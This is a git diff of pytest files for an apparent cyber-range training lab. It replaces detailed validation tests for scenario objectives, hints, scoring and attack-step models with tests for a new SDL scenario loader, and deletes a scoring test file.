- - def test_file_without_path_raises(self): - """File precondition without path should fail validation.""" - from aptl.core.scenarios import Precondition - - with pytest.raises(ValidationError, match="path"): - Precondition(type="file", container="victim", content="data") - - def test_file_without_content_raises(self): - """File precondition without content should fail validation.""" - from aptl.core.scenarios import Precondition - - with pytest.raises(ValidationError, match="content"): - Precondition(type="file", container="victim", path="/tmp/f.txt") - - def test_file_with_empty_string_content_is_valid(self): - """File precondition with empty string content should be valid.""" - from aptl.core.scenarios import Precondition - - pre = Precondition( - type="file", - container="victim", - path="/tmp/empty.txt", - content="", - ) - assert pre.content == "" - - -# --------------------------------------------------------------------------- -# ContainerRequirements validation -# --------------------------------------------------------------------------- - - -class TestContainerRequirements: - """Tests for the ContainerRequirements model.""" - - def test_valid_requirements(self): - """Container requirements with at least one entry should be valid.""" - from aptl.core.scenarios import ContainerRequirements - - reqs = ContainerRequirements(required=["kali", "victim"]) - assert reqs.required == ["kali", "victim"] - - def test_rejects_empty_required_list(self): - """Empty required list should fail validation.""" - from aptl.core.scenarios import ContainerRequirements - - with pytest.raises(ValidationError, match="at least one"): - ContainerRequirements(required=[]) - - -# --------------------------------------------------------------------------- -# Hint validation -# --------------------------------------------------------------------------- - - -class TestHint: - """Tests for the Hint model.""" - - def test_valid_hint(self): - """A hint with level and text should be valid.""" - from aptl.core.scenarios import Hint - - hint = Hint(level=1, text="Use nmap", point_penalty=10) - assert hint.level == 1 - assert hint.point_penalty == 10 - - def test_rejects_level_zero(self): - """Hint level must be >= 1.""" - from aptl.core.scenarios import Hint - - with pytest.raises(ValidationError, match="level"): - Hint(level=0, text="Hint") - - def test_rejects_level_above_five(self): - """Hint level must be <= 5.""" - from aptl.core.scenarios import Hint - - with pytest.raises(ValidationError, match="level"): - Hint(level=6, text="Hint") - - def test_rejects_empty_text(self): - """Hint text must not be empty.""" - from aptl.core.scenarios import Hint - - with pytest.raises(ValidationError, match="text"): - Hint(level=1, text="") - - def test_rejects_negative_penalty(self): - """Hint penalty must be >= 0.""" - from aptl.core.scenarios import Hint - - with pytest.raises(ValidationError, match="point_penalty"): - Hint(level=1, text="Hint", point_penalty=-5) - - def test_default_penalty_is_zero(self): - """Hint penalty defaults to 0.""" - from aptl.core.scenarios import Hint - - hint = Hint(level=1, text="Hint") - assert hint.point_penalty == 0 - - -# --------------------------------------------------------------------------- -# Objective validation -# --------------------------------------------------------------------------- - - -class TestObjective: - """Tests for the Objective model.""" - - def test_valid_manual_objective(self): - """Manual objective without validation config should be valid.""" - from aptl.core.scenarios import Objective - - obj = Objective( - id="test-obj", - description="Do the thing", - type="manual", - points=100, - ) - assert obj.type.value == "manual" - assert obj.wazuh_alert is None - - def test_valid_wazuh_alert_objective(self): - """Wazuh alert objective with validation config should be valid.""" - from aptl.core.scenarios import Objective - - obj = Objective( - id="detect-scan", - description="Detect the scan", - type="wazuh_alert", - points=75, - wazuh_alert={ - "query": {"match_all": {}}, - "min_matches": 3, - "time_window_seconds": 600, - }, - ) - assert obj.wazuh_alert is not None - assert obj.wazuh_alert.min_matches == 3 - - def test_valid_command_output_objective(self): - """Command output objective with validation config should be valid.""" - from aptl.core.scenarios import Objective - - obj = Objective( - id="find-flag", - description="Find the flag", - type="command_output", - points=50, - command_output={ - "container": "kali", - "command": "cat /tmp/flag.txt", - "contains": ["FLAG{test}"], - }, - ) - assert obj.command_output is not None - assert obj.command_output.container == "kali" - - def test_valid_file_exists_objective(self): - """File exists objective with validation config should be valid.""" - from aptl.core.scenarios import Objective - - obj = Objective( - id="check-file", - description="Check the file", - type="file_exists", - points=25, - file_exists={ - "container": "victim", - "path": "/tmp/result.txt", - }, - ) - assert obj.file_exists is not None - - def test_wazuh_alert_without_validation_raises(self): - """Wazuh alert objective without validation config should fail.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="wazuh_alert.*validation"): - Objective( - id="detect-scan", - description="Detect the scan", - type="wazuh_alert", - points=75, - ) - - def test_command_output_without_validation_raises(self): - """Command output objective without validation config should fail.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="command_output.*validation"): - Objective( - id="find-flag", - description="Find the flag", - type="command_output", - points=50, - ) - - def test_file_exists_without_validation_raises(self): - """File exists objective without validation config should fail.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="file_exists.*validation"): - Objective( - id="check-file", - description="Check the file", - type="file_exists", - points=25, - ) - - def test_rejects_invalid_objective_id(self): - """Objective ID must be a lowercase slug.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="lowercase slug"): - Objective( - id="Test_Obj", - description="A test", - type="manual", - points=50, - ) - - def test_rejects_points_over_1000(self): - """Objective points must be <= 1000.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="points"): - Objective( - id="test-obj", - description="A test", - type="manual", - points=1001, - ) - - def test_rejects_negative_points(self): - """Objective points must be >= 0.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="points"): - Objective( - id="test-obj", - description="A test", - type="manual", - points=-10, - ) - - def test_rejects_duplicate_hint_levels(self): - """Hint levels within an objective must be unique.""" - from aptl.core.scenarios import Objective - - with pytest.raises(ValidationError, match="unique"): - Objective( - id="test-obj", - description="A test", - type="manual", - points=50, - hints=[ - {"level": 1, "text": "First hint"}, - {"level": 1, "text": "Duplicate hint"}, - ], - ) - - def test_objective_with_ordered_hints(self): - """Multiple hints with unique levels should be valid.""" - from aptl.core.scenarios import Objective - - obj = Objective( - id="test-obj", - description="A test", - type="manual", - points=50, - hints=[ - {"level": 1, "text": "First hint"}, - {"level": 2, "text": "Second hint"}, - {"level": 3, "text": "Third hint"}, - ], - ) - assert len(obj.hints) == 3 - - -# --------------------------------------------------------------------------- -# ObjectiveSet validation -# --------------------------------------------------------------------------- - - -class TestObjectiveSet: - """Tests for the ObjectiveSet model.""" - - def test_valid_red_only(self): - """ObjectiveSet with only red objectives should be valid.""" - from aptl.core.scenarios import ObjectiveSet - - obj_set = ObjectiveSet( - red=[ - {"id": "obj-a", "description": "Do A", "type": "manual", "points": 50} - ], - blue=[], - ) - assert len(obj_set.red) == 1 - assert len(obj_set.blue) == 0 - - def test_valid_blue_only(self): - """ObjectiveSet with only blue objectives should be valid.""" - from aptl.core.scenarios import ObjectiveSet - - obj_set = ObjectiveSet( - red=[], - blue=[ - {"id": "obj-b", "description": "Do B", "type": "manual", "points": 50} - ], - ) - assert len(obj_set.blue) == 1 - - def test_valid_both_teams(self): - """ObjectiveSet with both red and blue objectives should be valid.""" - from aptl.core.scenarios import ObjectiveSet - - obj_set = ObjectiveSet( - red=[ - {"id": "obj-r", "description": "Red", "type": "manual", "points": 50} - ], - blue=[ - {"id": "obj-b", "description": "Blue", "type": "manual", "points": 50} - ], - ) - assert len(obj_set.all_objectives()) == 2 - - def test_empty_both_teams_is_allowed(self): - """ObjectiveSet with no objectives is allowed (validated at ScenarioDefinition level).""" - from aptl.core.scenarios import ObjectiveSet - - obj_set = ObjectiveSet(red=[], blue=[]) - assert len(obj_set.red) == 0 - assert len(obj_set.blue) == 0 - - def test_rejects_duplicate_ids_across_teams(self): - """Objective IDs must be unique across red and blue.""" - from aptl.core.scenarios import ObjectiveSet - - with pytest.raises(ValidationError, match="[Dd]uplicate"): - ObjectiveSet( - red=[ - {"id": "same-id", "description": "Red", "type": "manual", "points": 50} - ], - blue=[ - {"id": "same-id", "description": "Blue", "type": "manual", "points": 50} - ], - ) - - -# --------------------------------------------------------------------------- -# ScoringConfig validation -# --------------------------------------------------------------------------- - -class TestScoringConfig: - """Tests for the ScoringConfig model.""" - def test_defaults(self): - """Default scoring config should have time bonus disabled.""" - from aptl.core.scenarios import ScoringConfig - - config = ScoringConfig() - assert config.time_bonus.enabled is False - assert config.passing_score == 0 - assert config.max_score == 0 - - def test_valid_time_bonus(self): - """Time bonus config with valid values should parse.""" - from aptl.core.scenarios import ScoringConfig - - config = ScoringConfig( - time_bonus={ - "enabled": True, - "max_bonus": 50, - "decay_after_minutes": 15, - }, - passing_score=100, - max_score=250, - ) - assert config.time_bonus.enabled is True - assert config.time_bonus.max_bonus == 50 - - def test_rejects_negative_passing_score(self): - """Passing score must be >= 0.""" - from aptl.core.scenarios import ScoringConfig - - with pytest.raises(ValidationError, match="passing_score"): - ScoringConfig(passing_score=-1) - - -# --------------------------------------------------------------------------- -# ScenarioDefinition validation -# --------------------------------------------------------------------------- - - -class TestScenarioDefinition: - """Tests for the full ScenarioDefinition model.""" - - def test_valid_from_dict(self, sample_scenario_dict): - """A valid scenario dict should parse into ScenarioDefinition.""" - from aptl.core.scenarios import ScenarioDefinition - - scenario = ScenarioDefinition(**sample_scenario_dict) - assert scenario.metadata.id == "test-scenario" - assert scenario.mode.value == "red" - assert len(scenario.objectives.red) == 1 - - def test_red_mode_requires_red_objectives(self): - """Red mode scenario must have at least one red objective.""" - from aptl.core.scenarios import ScenarioDefinition - - with pytest.raises(ValidationError, match="[Rr]ed.*objectives"): - ScenarioDefinition( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={ - "red": [], - "blue": [ - {"id": "obj-b", "description": "Blue", "type": "manual", "points": 50} - ], - }, - ) - - def test_blue_mode_requires_blue_objectives(self): - """Blue mode scenario must have at least one blue objective.""" - from aptl.core.scenarios import ScenarioDefinition - - with pytest.raises(ValidationError, match="[Bb]lue.*objectives"): - ScenarioDefinition( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="blue", - containers={"required": ["wazuh"]}, - objectives={ - "red": [ - {"id": "obj-r", "description": "Red", "type": "manual", "points": 50} - ], - "blue": [], - }, - ) - - def test_purple_mode_allows_either_team(self): - """Purple mode scenario can have objectives from either team.""" - from aptl.core.scenarios import ScenarioDefinition - - scenario = ScenarioDefinition( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="purple", - containers={"required": ["kali"]}, - objectives={ - "red": [ - {"id": "obj-r", "description": "Red", "type": "manual", "points": 50} - ], - "blue": [], - }, - ) - assert scenario.mode.value == "purple" - - def test_rejects_extra_top_level_fields(self): - """Extra top-level fields should be rejected.""" - from aptl.core.scenarios import ScenarioDefinition - - with pytest.raises(ValidationError, match="extra"): - ScenarioDefinition( - metadata={ - "id": "test", - "name": "Test", - "description": "Desc", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="red", - containers={"required": ["kali"]}, - objectives={ - "red": [ - {"id": "obj", "description": "Test", "type": "manual", "points": 50} - ], - "blue": [], - }, - unknown_field="value", - ) - - def test_default_scoring_and_preconditions(self, sample_scenario_dict): - """Scoring and preconditions should default to empty.""" - from aptl.core.scenarios import ScenarioDefinition - - scenario = ScenarioDefinition(**sample_scenario_dict) - assert scenario.preconditions == [] - assert scenario.scoring.passing_score == 0 - - -# --------------------------------------------------------------------------- -# Scenario loading (YAML) -# --------------------------------------------------------------------------- +VALID_SDL = """ +name: test-scenario +description: Minimal SDL scenario +""" class TestLoadScenario: - """Tests for loading scenarios from YAML files.""" + """Tests for loading SDL scenarios from YAML files.""" - def test_load_valid_yaml(self, sample_scenario_yaml): - """Should load and parse a valid scenario YAML file.""" + def test_load_valid_sdl(self, tmp_path): from aptl.core.scenarios import load_scenario - scenario = load_scenario(sample_scenario_yaml) - assert scenario.metadata.id == "test-scenario" - assert scenario.metadata.name == "Test Scenario" + path = tmp_path / "scenario.yaml" + path.write_text(VALID_SDL, encoding="utf-8") + + scenario = load_scenario(path) + assert scenario.name == "test-scenario" + assert scenario.description == "Minimal SDL scenario" def test_load_nonexistent_file_raises(self, tmp_path): - """Loading a missing file should raise FileNotFoundError.""" from aptl.core.scenarios import load_scenario with pytest.raises(FileNotFoundError): - load_scenario(tmp_path / "nonexistent.yaml") + load_scenario(tmp_path / "missing.yaml") - def test_load_empty_file_raises(self, tmp_path): - """Loading an empty file should raise ScenarioValidationError.""" + def test_load_empty_file_raises_validation_error(self, tmp_path): from aptl.core.scenarios import ScenarioValidationError, load_scenario - empty_file = tmp_path / "empty.yaml" - empty_file.write_text("") + path = tmp_path / "empty.yaml" + path.write_text("", encoding="utf-8") + with pytest.raises(ScenarioValidationError, match="empty"): - load_scenario(empty_file) + load_scenario(path) - def test_load_invalid_yaml_raises(self, tmp_path): - """Malformed YAML should raise ScenarioValidationError.""" + def test_load_invalid_yaml_raises_validation_error(self, tmp_path): from aptl.core.scenarios import ScenarioValidationError, load_scenario - bad_file = tmp_path / "bad.yaml" - bad_file.write_text("{{not: valid: yaml: [}") - with pytest.raises(ScenarioValidationError, match="[Ii]nvalid YAML"): - load_scenario(bad_file) - - def test_load_yaml_scalar_raises(self, tmp_path): - """A YAML file containing a scalar should raise ScenarioValidationError.""" - from aptl.core.scenarios import ScenarioValidationError, load_scenario + path = tmp_path / "broken.yaml" + path.write_text("{{not: valid: yaml: [}", encoding="utf-8") - scalar_file = tmp_path / "scalar.yaml" - scalar_file.write_text("just a string") - with pytest.raises(ScenarioValidationError, match="mapping"): - load_scenario(scalar_file) + with pytest.raises(ScenarioValidationError, match="Invalid YAML"): + load_scenario(path) - def test_load_yaml_list_raises(self, tmp_path): - """A YAML file containing a list should raise ScenarioValidationError.""" + def test_load_legacy_yaml_is_rejected(self, tmp_path): from aptl.core.scenarios import ScenarioValidationError, load_scenario - list_file = tmp_path / "list.yaml" - list_file.write_text("- item1\n- item2\n") - with pytest.raises(ScenarioValidationError, match="mapping"): - load_scenario(list_file) - - def test_load_yaml_with_validation_error(self, tmp_path): - """YAML that is valid but fails Pydantic validation should raise.""" - from aptl.core.scenarios import ScenarioValidationError, load_scenario + path = tmp_path / "legacy.yaml" + path.write_text( + """ +metadata: + id: old-scenario + name: Old Scenario +mode: red + """.strip(), + encoding="utf-8", + ) - bad_scenario = tmp_path / "bad-scenario.yaml" - bad_scenario.write_text(yaml.dump({"metadata": {"id": "INVALID"}})) with pytest.raises(ScenarioValidationError): - load_scenario(bad_scenario) + load_scenario(path) - def test_load_error_includes_file_path(self, tmp_path): - """ScenarioValidationError should include the file path.""" + def test_validation_error_includes_path(self, tmp_path): from aptl.core.scenarios import ScenarioValidationError, load_scenario - bad_file = tmp_path / "bad.yaml" - bad_file.write_text("") - with pytest.raises(ScenarioValidationError) as exc_info: - load_scenario(bad_file) - assert exc_info.value.path == bad_file - assert str(bad_file) in str(exc_info.value) - - def test_load_example_recon_scenario(self): - """The bundled recon-nmap-scan.yaml example should load successfully.""" - from aptl.core.scenarios import load_scenario - - example = Path(__file__).parent.parent / "scenarios" / "recon-nmap-scan.yaml" - if not example.exists(): - pytest.skip("Example scenario file not present") - scenario = load_scenario(example) - assert scenario.metadata.id == "recon-nmap-scan" - assert scenario.mode.value == "red" - assert len(scenario.objectives.red) == 3 - - def test_load_example_brute_force_scenario(self): - """The bundled detect-brute-force.yaml example should load successfully.""" - from aptl.core.scenarios import load_scenario - - example = Path(__file__).parent.parent / "scenarios" / "detect-brute-force.yaml" - if not example.exists(): - pytest.skip("Example scenario file not present") - scenario = load_scenario(example) - assert scenario.metadata.id == "detect-brute-force" - assert scenario.mode.value == "purple" - assert len(scenario.objectives.red) == 1 - assert len(scenario.objectives.blue) == 2 + path = tmp_path / "empty.yaml" + path.write_text("", encoding="utf-8") + with pytest.raises(ScenarioValidationError) as exc_info: + load_scenario(path) -# --------------------------------------------------------------------------- -# Scenario discovery -# --------------------------------------------------------------------------- + assert exc_info.value.path == path + assert str(path) in str(exc_info.value) class TestFindScenarios: - """Tests for discovering scenario files in a directory.""" + """Tests for SDL scenario discovery.""" - def test_finds_yaml_files(self, tmp_path, sample_scenario_dict): - """Should find .yaml files in the given directory.""" + def test_finds_yaml_files(self, tmp_path): from aptl.core.scenarios import find_scenarios - (tmp_path / "scenario-a.yaml").write_text( - yaml.dump(sample_scenario_dict) - ) - (tmp_path / "scenario-b.yaml").write_text( - yaml.dump(sample_scenario_dict) - ) - paths = find_scenarios(tmp_path) - assert len(paths) == 2 + (tmp_path / "a.yaml").write_text(VALID_SDL, encoding="utf-8") + (tmp_path / "b.yaml").write_text(VALID_SDL, encoding="utf-8") - def test_returns_sorted_paths(self, tmp_path, sample_scenario_dict): - """Found paths should be sorted alphabetically.""" - from aptl.core.scenarios import find_scenarios - - (tmp_path / "zzz.yaml").write_text(yaml.dump(sample_scenario_dict)) - (tmp_path / "aaa.yaml").write_text(yaml.dump(sample_scenario_dict)) paths = find_scenarios(tmp_path) - assert paths[0].name == "aaa.yaml" - assert paths[1].name == "zzz.yaml" + assert [path.name for path in paths] == ["a.yaml", "b.yaml"] def test_ignores_non_yaml_files(self, tmp_path): - """Should not return .json or .txt files.""" from aptl.core.scenarios import find_scenarios - (tmp_path / "config.json").write_text("{}") - (tmp_path / "readme.txt").write_text("hello") - paths = find_scenarios(tmp_path) - assert len(paths) == 0 - - def test_returns_empty_for_missing_directory(self, tmp_path): - """Should return empty list if directory does not exist.""" - from aptl.core.scenarios import find_scenarios + (tmp_path / "a.yml").write_text(VALID_SDL, encoding="utf-8") + (tmp_path / "notes.txt").write_text("hello", encoding="utf-8") - paths = find_scenarios(tmp_path / "nonexistent") - assert paths == [] + assert find_scenarios(tmp_path) == [] - def test_non_recursive(self, tmp_path, sample_scenario_dict): - """Should not search subdirectories.""" + def test_returns_empty_for_missing_directory(self, tmp_path): from aptl.core.scenarios import find_scenarios - subdir = tmp_path / "subdir" - subdir.mkdir() - (subdir / "nested.yaml").write_text(yaml.dump(sample_scenario_dict)) - paths = find_scenarios(tmp_path) - assert len(paths) == 0 - - -# --------------------------------------------------------------------------- -# Container validation -# --------------------------------------------------------------------------- - - -class TestValidateScenarioContainers: - """Tests for checking scenario container requirements against config.""" - - def test_all_containers_enabled(self, sample_scenario_dict): - """Should return empty list when all required containers are enabled.""" - from aptl.core.scenarios import ( - ScenarioDefinition, - validate_scenario_containers, - ) - from aptl.core.config import AptlConfig - - scenario = ScenarioDefinition(**sample_scenario_dict) - config = AptlConfig( - lab={"name": "test"}, - containers={"wazuh": True, "victim": True, "kali": True}, - ) - missing = validate_scenario_containers(scenario, config) - assert missing == [] - - def test_missing_containers(self, sample_scenario_dict): - """Should return list of containers that are not enabled.""" - from aptl.core.scenarios import ( - ScenarioDefinition, - validate_scenario_containers, - ) - from aptl.core.config import AptlConfig - - scenario = ScenarioDefinition(**sample_scenario_dict) - config = AptlConfig( - lab={"name": "test"}, - containers={"wazuh": True, "victim": False, "kali": False}, - ) - missing = validate_scenario_containers(scenario, config) - assert "kali" in missing - assert "victim" in missing - assert "wazuh" not in missing - - def test_missing_containers_sorted(self, sample_scenario_dict): - """Missing container list should be sorted.""" - from aptl.core.scenarios import ( - ScenarioDefinition, - validate_scenario_containers, - ) - from aptl.core.config import AptlConfig - - scenario = ScenarioDefinition(**sample_scenario_dict) - config = AptlConfig( - lab={"name": "test"}, - containers={"wazuh": False, "victim": False, "kali": False}, - ) - missing = validate_scenario_containers(scenario, config) - assert missing == sorted(missing) - + assert find_scenarios(tmp_path / "missing") == [] -# --------------------------------------------------------------------------- -# Exception classes -# --------------------------------------------------------------------------- - -class TestExceptions: - """Tests for the scenario exception hierarchy.""" +class TestScenarioExceptions: + """Tests for shared scenario exception types.""" def test_scenario_not_found_error(self): - """ScenarioNotFoundError should include the identifier.""" - from aptl.core.scenarios import ScenarioNotFoundError, ScenarioError - - err = ScenarioNotFoundError("my-scenario") - assert err.identifier == "my-scenario" - assert "my-scenario" in str(err) - assert isinstance(err, ScenarioError) - - def test_scenario_validation_error_with_path(self, tmp_path): - """ScenarioValidationError should include file path when provided.""" - from aptl.core.scenarios import ScenarioValidationError, ScenarioError + from aptl.core.scenarios import ScenarioError, ScenarioNotFoundError - path = tmp_path / "bad.yaml" - err = ScenarioValidationError("bad field", path=path) - assert err.path == path - assert str(path) in str(err) - assert "bad field" in err.details - assert isinstance(err, ScenarioError) + error = ScenarioNotFoundError("example") + assert error.identifier == "example" + assert isinstance(error, ScenarioError) def test_scenario_validation_error_without_path(self): - """ScenarioValidationError should work without a file path.""" - from aptl.core.scenarios import ScenarioValidationError - - err = ScenarioValidationError("something went wrong") - assert err.path is None - assert "something went wrong" in str(err) - - def test_scenario_state_error(self): - """ScenarioStateError should be a ScenarioError.""" - from aptl.core.scenarios import ScenarioStateError, ScenarioError - - err = ScenarioStateError("not active") - assert isinstance(err, ScenarioError) - - def test_observer_error(self): - """ObserverError should be a ScenarioError.""" - from aptl.core.scenarios import ObserverError, ScenarioError - - err = ObserverError("connection failed") - assert isinstance(err, ScenarioError) - - -# --------------------------------------------------------------------------- -# WazuhAlertValidation -# --------------------------------------------------------------------------- - - -class TestWazuhAlertValidation: - """Tests for the WazuhAlertValidation model.""" - - def test_valid_config(self): - """Valid wazuh alert validation config should parse.""" - from aptl.core.scenarios import WazuhAlertValidation - - val = WazuhAlertValidation( - query={"bool": {"must": [{"match": {"rule.groups": "auth"}}]}}, - min_matches=5, - time_window_seconds=600, - ) - assert val.min_matches == 5 - - def test_defaults(self): - """Defaults for min_matches and time_window_seconds.""" - from aptl.core.scenarios import WazuhAlertValidation - - val = WazuhAlertValidation(query={"match_all": {}}) - assert val.min_matches == 1 - assert val.time_window_seconds == 300 - - def test_rejects_zero_min_matches(self): - """min_matches must be >= 1.""" - from aptl.core.scenarios import WazuhAlertValidation - - with pytest.raises(ValidationError, match="min_matches"): - WazuhAlertValidation(query={}, min_matches=0) - - def test_rejects_time_window_below_10(self): - """time_window_seconds must be >= 10.""" - from aptl.core.scenarios import WazuhAlertValidation - - with pytest.raises(ValidationError, match="time_window"): - WazuhAlertValidation(query={}, time_window_seconds=5) - - def test_rejects_time_window_above_3600(self): - """time_window_seconds must be <= 3600.""" - from aptl.core.scenarios import WazuhAlertValidation - - with pytest.raises(ValidationError, match="time_window"): - WazuhAlertValidation(query={}, time_window_seconds=7200) - - -# --------------------------------------------------------------------------- -# CommandOutputValidation -# --------------------------------------------------------------------------- - - -class TestCommandOutputValidation: - """Tests for the CommandOutputValidation model.""" - - def test_valid_with_contains(self): - """Command output validation with contains list should parse.""" - from aptl.core.scenarios import CommandOutputValidation - - val = CommandOutputValidation( - container="kali", - command="cat /tmp/flag.txt", - contains=["FLAG{test}"], - ) - assert val.contains == ["FLAG{test}"] - - def test_valid_with_regex(self): - """Command output validation with regex should parse.""" - from aptl.core.scenarios import CommandOutputValidation - - val = CommandOutputValidation( - container="kali", - command="nmap -sV target", - regex=r"22/tcp\s+open\s+ssh", - ) - assert val.regex is not None - + from aptl.core.scenarios import ScenarioError, ScenarioValidationError -# --------------------------------------------------------------------------- -# FileExistsValidation -# --------------------------------------------------------------------------- - - -class TestFileExistsValidation: - """Tests for the FileExistsValidation model.""" - - def test_valid_basic(self): - """File exists validation with path should parse.""" - from aptl.core.scenarios import FileExistsValidation - - val = FileExistsValidation(container="victim", path="/tmp/result.txt") - assert val.contains is None - - def test_valid_with_contains(self): - """File exists validation with content check should parse.""" - from aptl.core.scenarios import FileExistsValidation - - val = FileExistsValidation( - container="victim", - path="/tmp/result.txt", - contains="SUCCESS", - ) - assert val.contains == "SUCCESS" - - -# --------------------------------------------------------------------------- -# AttackStep validation -# --------------------------------------------------------------------------- - - -class TestAttackStep: - """Tests for the AttackStep model.""" - - def test_minimal(self): - """Minimal AttackStep with required fields should parse.""" - from aptl.core.scenarios import AttackStep - - step = AttackStep( - step_number=1, - technique_id="T1190", - technique_name="Exploit App", - tactic="Initial Access", - description="Exploit the app", - target="webapp", - ) - assert step.step_number == 1 - assert step.commands == [] - assert step.expected_detections == [] - - def test_with_detections(self): - """AttackStep with OCSF expected detections should parse.""" - from aptl.core.scenarios import AttackStep - - step = AttackStep( - step_number=1, - technique_id="T1190", - technique_name="Exploit App", - tactic="Initial Access", - description="Exploit the app", - target="webapp", - expected_detections=[ - { - "product_name": "wazuh", - "analytic_uid": "302010", - "severity_id": 4, - "description": "SQLi detected", - } - ], - ) - assert len(step.expected_detections) == 1 - assert step.expected_detections[0].product_name == "wazuh" - - def test_rejects_step_number_zero(self): - """Step number must be >= 1.""" - from aptl.core.scenarios import AttackStep - - with pytest.raises(ValidationError, match="step_number"): - AttackStep( - step_number=0, - technique_id="T1190", - technique_name="Exploit", - tactic="Initial Access", - description="Desc", - target="webapp", - ) - - -# --------------------------------------------------------------------------- -# ScenarioDefinition with steps -# --------------------------------------------------------------------------- - - -class TestScenarioDefinitionWithSteps: - """Tests for ScenarioDefinition with attack steps.""" - - def test_valid_steps_only(self, sample_scenario_with_steps_dict): - """A scenario with only steps (no objectives) should be valid.""" - from aptl.core.scenarios import ScenarioDefinition - - scenario = ScenarioDefinition(**sample_scenario_with_steps_dict) - assert len(scenario.steps) == 2 - assert scenario.steps[0].technique_id == "T1595.002" - assert scenario.attack_chain == "Recon -> Exploit -> Exfil" - - def test_valid_steps_and_objectives(self, sample_scenario_with_steps_dict): - """A scenario with both steps and objectives should be valid.""" - from aptl.core.scenarios import ScenarioDefinition - - data = dict(sample_scenario_with_steps_dict) - data["objectives"] = { - "red": [ - {"id": "obj-r", "description": "Red", "type": "manual", "points": 50} - ], - "blue": [], - } - scenario = ScenarioDefinition(**data) - assert len(scenario.steps) == 2 - assert len(scenario.objectives.red) == 1 - - def test_rejects_empty_no_steps_no_objectives(self): - """A scenario with neither steps nor objectives should fail.""" - from aptl.core.scenarios import ScenarioDefinition - - with pytest.raises(ValidationError, match="steps or objectives"): - ScenarioDefinition( - metadata={ - "id": "empty-test", - "name": "Empty", - "description": "No content", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="purple", - containers={"required": ["kali"]}, - ) - - def test_rejects_duplicate_step_numbers(self): - """Duplicate step numbers should fail validation.""" - from aptl.core.scenarios import ScenarioDefinition - - with pytest.raises(ValidationError, match="step numbers must be unique"): - ScenarioDefinition( - metadata={ - "id": "dup-steps", - "name": "Duplicate Steps", - "description": "Has duplicate step numbers", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="purple", - containers={"required": ["kali"]}, - steps=[ - { - "step_number": 1, - "technique_id": "T1001", - "technique_name": "A", - "tactic": "Recon", - "description": "First", - "target": "victim", - }, - { - "step_number": 1, - "technique_id": "T1002", - "technique_name": "B", - "tactic": "Recon", - "description": "Duplicate", - "target": "victim", - }, - ], - ) - - def test_objectives_default_empty(self): - """When objectives is not provided, it defaults to empty ObjectiveSet.""" - from aptl.core.scenarios import ScenarioDefinition - - scenario = ScenarioDefinition( - metadata={ - "id": "steps-only", - "name": "Steps Only", - "description": "Steps-only scenario", - "difficulty": "beginner", - "estimated_minutes": 10, - }, - mode="purple", - containers={"required": ["kali"]}, - steps=[ - { - "step_number": 1, - "technique_id": "T1001", - "technique_name": "Scan", - "tactic": "Recon", - "description": "Scan things", - "target": "victim", - }, - ], - ) - assert len(scenario.objectives.red) == 0 - assert len(scenario.objectives.blue) == 0 + error = ScenarioValidationError("bad field") + assert error.path is None + assert error.details == "bad field" + assert isinstance(error, ScenarioError) diff --git a/tests/test_scoring.py b/tests/test_scoring.py deleted file mode 100644 index cf765187e..000000000 --- a/tests/test_scoring.py +++ /dev/null @@ -1,304 +0,0 @@ -"""Tests for scenario scoring computation.""" - -import pytest - -from aptl.core.scenarios import ( - ContainerRequirements, - Hint, - Objective, - ObjectiveSet, - ObjectiveType, - ScenarioDefinition, - ScenarioMetadata, - ScenarioMode, - ScoringConfig, - TimeBonusConfig, -) -from aptl.core.scoring import ObjectiveScore, ScoreReport, compute_score - - -# --------------------------------------------------------------------------- -# Fixtures -# --------------------------------------------------------------------------- - - -def _make_scenario( - objectives_red: list[Objective] | None = None, - objectives_blue: list[Objective] | None = None, - scoring: ScoringConfig | None = None, - estimated_minutes: int = 30, -) -> ScenarioDefinition: - """Build a minimal scenario for score testing.""" - red = objectives_red or [] - blue = objectives_blue or [] - return ScenarioDefinition( - metadata=ScenarioMetadata( - id="score-test", - name="Score Test", - description="A scoring test scenario", - difficulty="beginner", - estimated_minutes=estimated_minutes, - ), - mode=ScenarioMode.RED if red else ScenarioMode.BLUE, - containers=ContainerRequirements(required=["kali"]), - objectives=ObjectiveSet(red=red, blue=blue), - scoring=scoring or ScoringConfig(), - ) - - -@pytest.fixture -def simple_objectives() -> list[Objective]: - return [ - Objective( - id="obj-a", - description="First objective", - type=ObjectiveType.MANUAL, - points=100, - hints=[ - Hint(level=1, text="Hint 1", point_penalty=10), - Hint(level=2, text="Hint 2", point_penalty=25), - ], - ), - Objective( - id="obj-b", - description="Second objective", - type=ObjectiveType.MANUAL, - points=50, - hints=[ - Hint(level=1, text="Hint 1", point_penalty=5), - ], - ), - ] - - -# --------------------------------------------------------------------------- -# Base score tests -# --------------------------------------------------------------------------- - - -def test_no_objectives_completed(simple_objectives): - """Score is 0 when nothing is completed.""" - scenario = _make_scenario( - objectives_red=simple_objectives, - scoring=ScoringConfig(passing_score=100, max_score=150), - ) - score = compute_score(scenario, [], {}, 0) - assert score.total_score == 0 - assert not score.passed - - -def test_all_objectives_completed_no_hints(simple_objectives): - """Full base score when all completed with no hints.""" - scenario = _make_scenario( - objectives_red=simple_objectives, - scoring=ScoringConfig(passing_score=100, max_score=150), - ) - score = compute_score(scenario, ["obj-a", "obj-b"], {}, 0) - assert score.total_score == 150 # 100 + 50 - assert score.passed is True - assert score.hint_penalties == 0 - - -def test_partial_completion(simple_objectives): - """Only completed objectives earn points.""" - scenario = _make_scenario( - objectives_red=simple_objectives, - scoring=ScoringConfig(passing_score=100, max_score=150), - ) - score = compute_score(scenario, ["obj-a"], {}, 0) - assert score.total_score == 100 - assert score.passed is True - - -# --------------------------------------------------------------------------- -# Hint penalty 